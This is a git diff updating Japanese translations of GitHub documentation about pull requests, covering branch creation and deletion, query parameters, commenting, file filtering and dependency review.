+++ b/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Creating and deleting branches within your repository
-intro: 'You can create or delete branches directly on {% data variables.product.product_name %}.'
+title: リポジトリ内でブランチを作成および削除する
+intro: '{% data variables.product.product_name %}上で直接、ブランチの作成や削除ができます。'
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository
   - /articles/deleting-branches-in-a-pull-request
@@ -15,39 +15,36 @@ topics:
   - Pull requests
 shortTitle: Create & delete branches
 ---
-## Creating a branch
+
+## ブランチの作成
 
 {% data reusables.repositories.navigate-to-repo %}
 
-1. Optionally, if you want to create your new branch from a branch other than the default branch for the repository, click {% octicon "git-branch" aria-label="The branch icon" %} **<em>NUMBER</em> branches** then choose another branch:
-    ![Branches link on overview page](/assets/images/help/branches/branches-link.png)
-1. Click the branch selector menu.
-    ![branch selector menu](/assets/images/help/branch/branch-selection-dropdown.png)
-1. Type a unique name for your new branch, then select **Create branch**.
-    ![branch creation text box](/assets/images/help/branch/branch-creation-text-box.png)
+1. 必要に応じて、リポジトリのデフォルトブランチ以外のブランチから新しいブランチを作成する場合は、[{% octicon "git-branch" aria-label="The branch icon" %} **<em>NUMBER</em> branches**] をクリックし、別のブランチを選択します。 ![概要ページのブランチリンク](/assets/images/help/branches/branches-link.png)
+1. ブランチセレクタメニューをクリックします。 ![ブランチセレクタメニュー](/assets/images/help/branch/branch-selection-dropdown.png)
+1. 新しいブランチに、一意の名前を入力して、[**Create branch**] を選択します。 ![ブランチ作成のテキストボックス](/assets/images/help/branch/branch-creation-text-box.png)
 
-## Deleting a branch
+## ブランチの削除
 
 {% data reusables.pull_requests.automatically-delete-branches %}
 
 {% note %}
 
-**Note:** If the branch you want to delete is the repository's default branch, you must choose a new default branch before deleting the branch. For more information, see "[Changing the default branch](/github/administering-a-repository/changing-the-default-branch)."
+**注釈:** 削除するブランチがリポジトリのデフォルトブランチである場合は、ブランチを削除する前に新しいデフォルトブランチを選択する必要があります。 詳しい情報については「[デフォルトブランチの変更](/github/administering-a-repository/changing-the-default-branch)」を参照してください。
 
 {% endnote %}
 
-If the branch you want to delete is associated with an open pull request, you must merge or close the pull request before deleting the branch. For more information, see "[Merging a pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request)" or "[Closing a pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/closing-a-pull-request)."
+削除するブランチがオープンなプルリクエストに関連付けられている場合は、ブランチを削除する前にプルリクエストをマージまたはクローズする必要があります。 詳しい情報については、「[プルリクエストをマージする](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request)」または「[プルリクエストをクローズする](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/closing-a-pull-request)」を参照してください。
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.navigate-to-branches %}
-1. Scroll to the branch that you want to delete, then click {% octicon "trash" aria-label="The trash icon to delete the branch" %}.
-    ![delete the branch](/assets/images/help/branches/branches-delete.png)
+1. 削除するブランチまでスクロールし、{% octicon "trash" aria-label="The trash icon to delete the branch" %} をクリックします。 ![ブランチを削除する](/assets/images/help/branches/branches-delete.png)
 
 {% data reusables.pull_requests.retargeted-on-branch-deletion %}
-For more information, see "[About branches](/github/collaborating-with-issues-and-pull-requests/about-branches#working-with-branches)."
+詳細は「[ブランチについて](/github/collaborating-with-issues-and-pull-requests/about-branches#working-with-branches)」を参照してください。
 
-## Further reading
+## 参考リンク
 
 - "[About branches](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches)"
-- "[Viewing branches in your repository](/github/administering-a-repository/viewing-branches-in-your-repository)"
-- "[Deleting and restoring branches in a pull request](/github/administering-a-repository/deleting-and-restoring-branches-in-a-pull-request)"
+- "[リポジトリ内のブランチを表示する](/github/administering-a-repository/viewing-branches-in-your-repository)"
+- "[プルリクエスト中のブランチの削除と復元](/github/administering-a-repository/deleting-and-restoring-branches-in-a-pull-request)"
diff --git a/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/index.md b/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/index.md
index 6a5e87fe5c..5e291dc4d3 100644
--- a/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/index.md
+++ b/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/index.md
@@ -1,6 +1,6 @@
 ---
-title: Proposing changes to your work with pull requests
-intro: 'After you add changes to a topic branch or fork, you can open a pull request to ask your collaborators or the repository administrator to review your changes before merging them into the project.'
+title: プルリクエストで、作業に対する変更を提案する
+intro: トピックブランチまたはフォークに変更を加えた後で、それらをプロジェクトにマージする前に、プルリクエストをオープンしてコラボレーターまたはリポジトリ管理者に変更のレビューを依頼することができます。
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/proposing-changes-to-your-work-with-pull-requests
   - /articles/proposing-changes-to-your-work-with-pull-requests
@@ -26,3 +26,4 @@ children:
   - /committing-changes-to-a-pull-request-branch-created-from-a-fork
 shortTitle: Propose changes
 ---
+
diff --git a/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/using-query-parameters-to-create-a-pull-request.md b/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/using-query-parameters-to-create-a-pull-request.md
index fc4cd43b04..39da904c51 100644
--- a/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/using-query-parameters-to-create-a-pull-request.md
+++ b/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/using-query-parameters-to-create-a-pull-request.md
@@ -12,25 +12,25 @@ topics:
   - Pull requests
 ---
 
-You can use query parameters to open pull requests. Query parameters are optional parts of a URL you can customize to share a specific web page view, such as search filter results or a pull request template on {% data variables.product.prodname_dotcom %}. To create your own query parameters, you must match the key and value pair.
+You can use query parameters to open pull requests. Query parameters are optional parts of a URL you can customize to share a specific web page view, such as search filter results or a pull request template on {% data variables.product.prodname_dotcom %}. 独自のクエリパラメータを作成するには、キーと値のペアをマッチさせなければなりません。
 
 {% tip %}
 
-**Tip:** You can also create pull request templates that open with default labels, assignees, and an pull request title. For more information, see "[Using templates to encourage useful issues and pull requests](/communities/using-templates-to-encourage-useful-issues-and-pull-requests)."
+**Tip:** You can also create pull request templates that open with default labels, assignees, and an pull request title. 詳しい情報については「[有益なIssueとPull Requestを促進するためのテンプレートの利用](/communities/using-templates-to-encourage-useful-issues-and-pull-requests)」を参照してください。
 
 {% endtip %}
 
-You must have the proper permissions for any action to use the equivalent query parameter. For example, you must have permission to add a label to a pull request to use the `labels` query parameter. For more information, see "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)."
+クエリパラメータを使うには、同等のアクションを行うための適切な権限を持っていなければなりません。 For example, you must have permission to add a label to a pull request to use the `labels` query parameter. For more information, see "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)."
 
-If you create an invalid URL using query parameters, or if you don’t have the proper permissions, the URL will return a `404 Not Found` error page. If you create a URL that exceeds the server limit, the URL will return a `414 URI Too Long` error page.
+クエリパラメータを使うのに不正なURLを作成したり、適切な権限を持っていなかったりした場合には、そのURLに対して`404 Not Found`エラーページが返されます。 サーバーの限度を超えるURLを作成すると、そのURLは`414 URI Too Long`エラーページを返します。
 
-Query parameter | Example
----  | ---
-`quick_pull` | `https://github.com/octo-org/octo-repo/compare/main...my-branch?quick_pull=1` creates a pull request that compares the base branch `main` and head branch `my-branch`. The `quick_pull=1` query brings you directly to the "Open a pull request" page.
-`title` | `https://github.com/octo-org/octo-repo/compare/main...my-branch?quick_pull=1&labels=bug&title=Bug+fix+report` creates a pull request with the label "bug" and title "Bug fix."
-`body` | `https://github.com/octo-org/octo-repo/compare/main...my-branch?quick_pull=1&title=Bug+fix&body=Describe+the+fix.` creates a pull request with the title "Bug fix" and the comment "Describe the fix" in the pull request body.
-`labels` | `https://github.com/octo-org/octo-repo/compare/main...my-branch?quick_pull=1&labels=help+wanted,bug` creates a pull request with the labels "help wanted" and "bug".
-`milestone` | `https://github.com/octo-org/octo-repo/compare/main...my-branch?quick_pull=1&milestone=testing+milestones` creates a pull request with the milestone "testing milestones."
-`assignees` | `https://github.com/octo-org/octo-repo/compare/main...my-branch?quick_pull=1&assignees=octocat` creates a pull request and assigns it to @octocat.
-`projects` | `https://github.com/octo-org/octo-repo/compare/main...my-branch?quick_pull=1&title=Bug+fix&projects=octo-org/1` creates a pull request with the title "Bug fix" and adds it to the organization's project board 1.
-`template` | `https://github.com/octo-org/octo-repo/compare/main...my-branch?quick_pull=1&template=issue_template.md` creates a pull request with a template in the pull request body. The `template` query parameter works with templates stored in a `PULL_REQUEST_TEMPLATE` subdirectory within the root, `docs/` or `.github/` directory in a repository. For more information, see "[Using templates to encourage useful issues and pull requests](/communities/using-templates-to-encourage-useful-issues-and-pull-requests)."
+| クエリパラメータ     | サンプル                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
+| ------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `quick_pull` | `https://github.com/octo-org/octo-repo/compare/main...my-branch?quick_pull=1` creates a pull request that compares the base branch `main` and head branch `my-branch`. The `quick_pull=1` query brings you directly to the "Open a pull request" page.                                                                                                                                                                                                                                         |
+| `title`      | `https://github.com/octo-org/octo-repo/compare/main...my-branch?quick_pull=1&labels=bug&title=Bug+fix+report` creates a pull request with the label "bug" and title "Bug fix."                                                                                                                                                                                                                                                                                                         |
+| `body`       | `https://github.com/octo-org/octo-repo/compare/main...my-branch?quick_pull=1&title=Bug+fix&body=Describe+the+fix.` creates a pull request with the title "Bug fix" and the comment "Describe the fix" in the pull request body.                                                                                                                                                                                                                                                        |
+| `labels`     | `https://github.com/octo-org/octo-repo/compare/main...my-branch?quick_pull=1&labels=help+wanted,bug` creates a pull request with the labels "help wanted" and "bug".                                                                                                                                                                                                                                                                                                                       |
+| `マイルストーン`    | `https://github.com/octo-org/octo-repo/compare/main...my-branch?quick_pull=1&milestone=testing+milestones` creates a pull request with the milestone "testing milestones."                                                                                                                                                                                                                                                                                                                 |
+| `assignees`  | `https://github.com/octo-org/octo-repo/compare/main...my-branch?quick_pull=1&assignees=octocat` creates a pull request and assigns it to @octocat.                                                                                                                                                                                                                                                                                                                                         |
+| `projects`   | `https://github.com/octo-org/octo-repo/compare/main...my-branch?quick_pull=1&title=Bug+fix&projects=octo-org/1` creates a pull request with the title "Bug fix" and adds it to the organization's project board 1.                                                                                                                                                                                                                                                                     |
+| `template`   | `https://github.com/octo-org/octo-repo/compare/main...my-branch?quick_pull=1&template=issue_template.md` creates a pull request with a template in the pull request body. The `template` query parameter works with templates stored in a `PULL_REQUEST_TEMPLATE` subdirectory within the root, `docs/` or `.github/` directory in a repository. 詳しい情報については「[有益なIssueとPull Requestを促進するためのテンプレートの利用](/communities/using-templates-to-encourage-useful-issues-and-pull-requests)」を参照してください。 |
diff --git a/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally.md b/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally.md
index 8099983c47..23e1774ce3 100644
--- a/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally.md
+++ b/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally.md
@@ -25,8 +25,6 @@ shortTitle: Check out a PR locally
 
 ## アクティブなプルリクエストをローカルで修正する
 
-{% include tool-switcher %}
-
 {% webui %}
 
 {% data reusables.repositories.sidebar-pr %}
diff --git a/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request.md b/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request.md
index 81e0efb039..7df4949b20 100644
--- a/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request.md
+++ b/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request.md
@@ -1,5 +1,5 @@
 ---
-title: Commenting on a pull request
+title: プルリクエストへコメントする
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request
   - /articles/adding-commit-comments
@@ -8,7 +8,7 @@ redirect_from:
   - /articles/commenting-on-a-pull-request
   - /github/collaborating-with-issues-and-pull-requests/commenting-on-a-pull-request
   - /github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request
-intro: 'After you open a pull request in a repository, collaborators or team members can comment on the comparison of files between the two specified branches, or leave general comments on the project as a whole.'
+intro: リポジトリのプルリクエストのオープン後、コラボレーターや Team メンバーは、特定の 2 つのブランチ間におけるファイルの比較について、またプロジェクト全体についてコメントできます。
 versions:
   fpt: '*'
   ghes: '*'
@@ -18,49 +18,49 @@ topics:
   - Pull requests
 shortTitle: Comment on a PR
 ---
-## About pull request comments
 
-You can comment on a pull request's **Conversation** tab to leave general comments, questions, or props. You can also suggest changes that the author of the pull request can apply directly from your comment.
+## プルリクエストのコメントについて
 
-![Pull Request conversation](/assets/images/help/pull_requests/conversation.png)
+プルリクエストの [**Conversation**] タブに、一般的なコメント、質問、提案などを書き込むことができます。 プルリクエストの作者がコメントから直接適用できる変更を提案することもできます。
 
-You can also comment on specific sections of a file on a pull request's **Files changed** tab in the form of individual line comments or as part of a [pull request review](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews). Adding line comments is a great way to discuss questions about implementation or provide feedback to the author.
+![プルリクエストの会話](/assets/images/help/pull_requests/conversation.png)
 
-For more information on adding line comments to a pull request review, see ["Reviewing proposed changes in a pull request."](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request)
+プルリクエストの [**Files changed**] タブにあるファイルの、特定のセクションに、行コメントまたは [Pull Request レビュー](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews)の一部としてコメントすることも可能です。 行コメントを追加することは、インプリメンテーションについての問題を話し合ったり、作者にフィードバックを行ったりする上でよい方法です。
+
+Pull Request レビューへの行コメント追加に関する 詳しい情報については、「[プルリクエストで提案された変更をレビューする](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request)」を参照してください。
 
 {% note %}
 
-**Note:** If you reply to a pull request via email, your comment will be added on the **Conversation** tab and will not be part of a pull request review.
+**注釈:** プルリクエストにメールで返信した場合、そのコメントは [**Conversation**] タブに追加され、Pull Request レビューには含まれません。
 
 {% endnote %}
 
-To reply to an existing line comment, you'll need to navigate to the comment on either the **Conversation** tab or **Files changed** tab and add an additional line comment below it.
+既存の行コメントに返信するには、[**Conversation**] タブまたは [**Files changed**] タブに移動して、既存のコメントの下に行コメントを追加します。
 
 {% tip %}
 
-**Tips:**
-- Pull request comments support the same [formatting](/categories/writing-on-github) as regular comments on {% data variables.product.product_name %}, such as @mentions, emoji, and references.
+**参考:**
+- プルリクエストのコメントては、@メンション、絵文字、参照など、{% data variables.product.product_name %}の通常のコメントにおいてサポートされている[フォーマット](/categories/writing-on-github)がサポートされています。
 - You can add reactions to comments in pull requests in the **Files changed** tab.
 
 {% endtip %}
 
-## Adding line comments to a pull request
+## プルリクエストに行コメントを追加する
 
 {% data reusables.repositories.sidebar-pr %}
-2. In the list of pull requests, click the pull request where you'd like to leave line comments.
+2. プルリクエストのリストで、行コメントをしたいプルリクエストをクリックします。
 {% data reusables.repositories.changed-files %}
 {% data reusables.repositories.start-line-comment %}
 {% data reusables.repositories.type-line-comment %}
 {% data reusables.repositories.suggest-changes %}
-5. When you're done, click **Add single comment**.
-  ![Inline comment window](/assets/images/help/commits/inline-comment.png)
+5. 完了したら、[**Add single comment**] をクリックします。 ![インラインコメントウインドウ](/assets/images/help/commits/inline-comment.png)
 
-Anyone watching the pull request or repository will receive a notification of your comment.
+プルリクエストまたはリポジトリを Watch している全員が、コメントの通知を受信します。
 
 {% data reusables.pull_requests.resolving-conversations %}
 
-## Further reading
+## 参考リンク
 
-- "[Writing on GitHub](/github/writing-on-github)"
-{% ifversion fpt or ghec %}- "[Reporting abuse or spam](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam)"
+- [GitHubでの執筆](/github/writing-on-github)
+{% ifversion fpt or ghec %}- 「[乱用やスパムをレポートする](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam)」
 {% endif %}
diff --git a/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/filtering-files-in-a-pull-request.md b/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/filtering-files-in-a-pull-request.md
index bd7a9b087f..a2ddb9a445 100644
--- a/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/filtering-files-in-a-pull-request.md
+++ b/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/filtering-files-in-a-pull-request.md
@@ -1,6 +1,6 @@
 ---
-title: Filtering files in a pull request
-intro: 'To help you quickly review changes in a large pull request, you can filter changed files.'
+title: プルリクエスト内のファイルをフィルタリングする
+intro: 巨大なプルリクエスト内の変更を素早く確認できるように、変更されたファイルをフィルタリングできます。
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/reviewing-changes-in-pull-requests/filtering-files-in-a-pull-request
   - /articles/filtering-files-in-a-pull-request-by-file-type
@@ -16,23 +16,22 @@ topics:
   - Pull requests
 shortTitle: Filter files
 ---
-You can filter files in a pull request by file extension type, such as `.html` or `.js`, lack of an extension, code ownership, or dotfiles.
+
+プルリクエスト内のファイルは、`.html` や `.js` などのファイル拡張子の種類、拡張子の欠如、コードの所有権、ドットファイルでフィルタリングできます。
 
 {% tip %}
 
-**Tip:** To simplify your pull request diff view, you can also temporarily hide deleted files or files you have already viewed in the pull request diff from the file filter drop-down menu.
+**ヒント:** ファイルのフィルタドロップダウンメニューから、プルリクエストの diff 内の削除されたファイル、または既に表示したファイルを一時的に非表示にして、プルリクエストの diff 表示を簡素化できます。
 
 {% endtip %}
 
 {% data reusables.repositories.sidebar-pr %}
-2. In the list of pull requests, click the pull request you'd like to filter.
+2. プルリクエストのリストで、フィルタしたいプルリクエストをクリックします。
 {% data reusables.repositories.changed-files %}
-4. Use the File filter drop-down menu, and select, unselect, or click the desired filters.
-  ![File filter option above pull request diff](/assets/images/help/pull_requests/file-filter-option.png)
-5. Optionally, to clear the filter selection, under the **Files changed** tab, click **Clear**.
-  ![Clear file filter selection](/assets/images/help/pull_requests/clear-file-filter.png)
+4. [File filter] ドロップダウンメニュードロップダウンメニュー使って、目的のフィルタを選択、選択解除、またはクリックします。 ![プルリクエスト diff の上のファイルのフィルタオプション](/assets/images/help/pull_requests/file-filter-option.png)
+5. オプションで、フィルタの選択をクリアするには、 [**Files changed**] タブの下で [**Clear**] をクリックします。 ![ファイルのフィルタの選択のクリア](/assets/images/help/pull_requests/clear-file-filter.png)
 
-## Further reading
+## 参考リンク
 
-- "[About comparing branches in a pull request](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-comparing-branches-in-pull-requests)"
-- "[Finding changed methods and functions in a pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/finding-changed-methods-and-functions-in-a-pull-request)"
+- 「[プルリクエスト内のブランチの比較について](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-comparing-branches-in-pull-requests)」
+- 「[プルリクエストで変更されたメソッドや機能を見つける](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/finding-changed-methods-and-functions-in-a-pull-request)」
diff --git a/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/index.md b/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/index.md
index 94e8467a8d..179cc5883f 100644
--- a/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/index.md
+++ b/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/index.md
@@ -1,11 +1,11 @@
 ---
-title: Reviewing changes in pull requests
+title: Pull Request での変更をレビューする
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/reviewing-changes-in-pull-requests
   - /articles/reviewing-and-discussing-changes-in-pull-requests
   - /articles/reviewing-changes-in-pull-requests
   - /github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests
-intro: 'After a pull request has been opened, you can review and discuss the set of proposed changes.'
+intro: Pull Request が公開された後に、提案された一連の変更をレビューしたり議論したりできます。
 versions:
   fpt: '*'
   ghes: '*'
@@ -25,5 +25,6 @@ children:
   - /approving-a-pull-request-with-required-reviews
   - /dismissing-a-pull-request-review
   - /checking-out-pull-requests-locally
-shortTitle: Review changes
+shortTitle: 変更をレビュー
 ---
+
diff --git a/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-dependency-changes-in-a-pull-request.md b/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-dependency-changes-in-a-pull-request.md
index 6de225c336..db37fdb893 100644
--- a/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-dependency-changes-in-a-pull-request.md
+++ b/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-dependency-changes-in-a-pull-request.md
@@ -1,6 +1,6 @@
 ---
-title: Reviewing dependency changes in a pull request
-intro: 'If a pull request contains changes to dependencies, you can view a summary of what has changed and whether there are known vulnerabilities in any of the dependencies.'
+title: プルリクエスト内の依存関係の変更をレビューする
+intro: プルリクエストに依存関係への変更が含まれている場合は、変更内容の概要と、依存関係に既知の脆弱性があるかどうかを確認できます。
 product: '{% data reusables.gated-features.dependency-review %}'
 versions:
   fpt: '*'
@@ -20,28 +20,28 @@ redirect_from:
   - /github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-dependency-changes-in-a-pull-request
 shortTitle: Review dependency changes
 ---
+
 <!--Marketing-LINK: From /features/security/software-supply-chain page "Sign up for the dependency review beta" and "Reviewing dependency changes in a pull request".-->
 
 {% data reusables.dependency-review.beta %}
 
-## About dependency review
+## 依存関係のレビューについて
 
 {% data reusables.dependency-review.feature-overview %}
 
-{% ifversion ghes > 3.1 %} Before you can use dependency review, you must enable the dependency graph and connect {% data variables.product.product_location %} to {% data variables.product.prodname_dotcom_the_website %}. For more information, see "[Enabling alerts for vulnerable dependencies on {% data variables.product.prodname_ghe_server %}](/admin/configuration/managing-connections-between-github-enterprise-server-and-github-enterprise-cloud/enabling-alerts-for-vulnerable-dependencies-on-github-enterprise-server)."{% endif %}
+{% ifversion ghes > 3.1 %} Before you can use dependency review, you must enable the dependency graph and connect {% data variables.product.product_location %} to {% data variables.product.prodname_dotcom_the_website %}. 詳しい情報については、「[{% data variables.product.prodname_ghe_server %}の脆弱性のある依存関係に関するセキュリティアラートの有効化](/admin/configuration/managing-connections-between-github-enterprise-server-and-github-enterprise-cloud/enabling-alerts-for-vulnerable-dependencies-on-github-enterprise-server)」を参照してください。 {% endif %}
 
-Dependency review allows you to "shift left". You can use the provided predictive information to catch vulnerable dependencies before they hit production. For more information, see "[About dependency review](/code-security/supply-chain-security/about-dependency-review)."
+依存関係のレビューでは、「左にシフト」することができます。 提供された予測情報を使用して、本番環境に至る前に脆弱性のある依存関係をキャッチできます。 詳しい情報については「[依存関係のレビュー](/code-security/supply-chain-security/about-dependency-review)」を参照してください。
 
-## Reviewing dependencies in a pull request
+## プルリクエスト内の依存関係を確認する
 
 {% data reusables.repositories.sidebar-pr %}
 {% data reusables.repositories.choose-pr-review %}
 {% data reusables.repositories.changed-files %}
 
-1. If the pull request contains many files, use the **File filter** drop-down menu to collapse all files that don't record dependencies. This will make it easier to focus your review on the dependency changes.
+1. プルリクエストに多数のファイルが含まれている場合は、[**File filter**] ドロップダウンメニューを使用して、依存関係を記録しないすべてのファイルを折りたたみます。 これにより、レビューを依存関係の変更に焦点を絞りやすくなります。
 
-   ![The file filter menu](/assets/images/help/pull_requests/file-filter-menu-json.png)
-   The dependency review provides a clearer view of what has changed in large lock files, where the source diff is not rendered by default.
+   ![ファイルフィルタメニュー](/assets/images/help/pull_requests/file-filter-menu-json.png) The dependency review provides a clearer view of what has changed in large lock files, where the source diff is not rendered by default.
 
   {% note %}
 
@@ -49,31 +49,31 @@ Dependency review allows you to "shift left". You can use the provided predictiv
 
    {% endnote %}
 
-1. On the right of the header for a manifest or lock file, display the dependency review by clicking the **{% octicon "file" aria-label="The rich diff icon" %}** rich diff button.
+1. マニフェストまたはロックファイルのヘッダの右側で、**リッチ{% octicon "file" aria-label="The rich diff icon" %}** diff ボタンをクリックして依存関係のレビューを表示します。
 
-   ![The rich diff button](/assets/images/help/pull_requests/dependency-review-rich-diff.png)
+   ![リッチ diff ボタン](/assets/images/help/pull_requests/dependency-review-rich-diff.png)
 
-2. Check the dependencies listed in the dependency review.
+2. 依存関係のレビューにリストされている依存関係を確認します。
 
-   ![Vulnerability warnings in a dependency review](/assets/images/help/pull_requests/dependency-review-vulnerability.png)
+   ![依存関係のレビューにおける脆弱性の警告](/assets/images/help/pull_requests/dependency-review-vulnerability.png)
 
-   Any added or changed dependencies that have vulnerabilities are listed first, ordered by severity and then by dependency name. This means that the highest severity dependencies are always at the top of a dependency review. Other dependencies are listed alphabetically by dependency name.
+   脆弱性のある追加または変更された依存関係が最初に一覧表示され、次に重要度、依存関係名の順に並べられます。 これは、最も重要度の高い依存関係が、常に依存関係レビューの最上位に表示されるということです。 その他の依存関係は、依存関係名のアルファベット順に一覧表示されます。
 
-   The icon beside each dependency indicates whether the dependency has been added (<span style="color:#22863a">{% octicon "diff-added" aria-label="Dependency added icon" %}</span>), updated (<span style="color:#b08800">{% octicon "diff-modified" aria-label="Dependency modified icon" %}</span>), or removed (<span style="color:#cb2431">{% octicon "diff-removed" aria-label="Dependency removed icon" %}</span>) in this pull request.
+   各依存関係の横にあるアイコンは、このプルリクエストで依存関係が追加された (<span style="color:#22863a">{% octicon "diff-added" aria-label="Dependency added icon" %}</span>)、更新された (<span style="color:#b08800">{% octicon "diff-modified" aria-label="Dependency modified icon" %}</span>)、削除された (<span style="color:#cb2431">{% octicon "diff-removed" aria-label="Dependency removed icon" %}</span>) ことを示しています。
 
-   Other information includes:
+   その他の情報は次のとおりです。
 
-   * The version, or version range, of the new, updated, or deleted dependency.
-   * For a specific version of a dependency:
-      * The age of that release of the dependency.
-      * The number of projects that are dependent on this software. This information is taken from the dependency graph. Checking the number of dependents can help you avoid accidentally adding the wrong dependency.
-      * The license used by this dependency, if this information is available. This is useful if you want to avoid code with certain licenses being used in your project.
+   * 新規、更新、または削除された依存関係のバージョンまたはバージョン範囲。
+   * 依存関係の特定のバージョンの場合:
+      * 依存関係のリリース時期。
+      * このソフトウェアに依存しているプロジェクトの数。 この情報は、依存関係グラフから取得されます。 依存関係の数を確認すると、誤って間違った依存関係を追加することを防ぐことができます。
+      * この依存関係で使用されるライセンス（この情報が利用可能な場合）。 これは、プロジェクトで特定のライセンスが使用されているコードを避ける必要がある場合に役立ちます。
 
-   Where a dependency has a known vulnerability, the warning message includes:
+   依存関係に既知の脆弱性がある場合、警告メッセージには次のものが含まれます。
 
-   * A brief description of the vulnerability.
-   * A Common Vulnerabilities and Exposures (CVE) or {% data variables.product.prodname_security_advisories %} (GHSA) identification number. You can click this ID to find out more about the vulnerability.
-   * The severity of the vulnerability.
-   * The version of the dependency in which the vulnerability was fixed. If you are reviewing a pull request for someone, you might ask the contributor to update the dependency to the patched version, or a later release.
+   * 脆弱性の簡単な説明。
+   * Common Vulnerabilities and Exposures (CVE) または {% data variables.product.prodname_security_advisories %} (GHSA) 識別番号。 この ID をクリックすると、脆弱性の詳細を確認できます。
+   * 脆弱性の重要度。
+   * 脆弱性が修正された依存関係のバージョン。 誰かのプルリクエストを確認している場合は、パッチを適用したバージョンまたはそれ以降のリリースに依存関係を更新するようにコントリビューターに依頼することができます。
 
 {% data reusables.repositories.return-to-source-diff %}
diff --git a/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request.md b/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request.md
index 35a425283f..1365e7cd14 100644
--- a/translations/ja-JP/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request.md
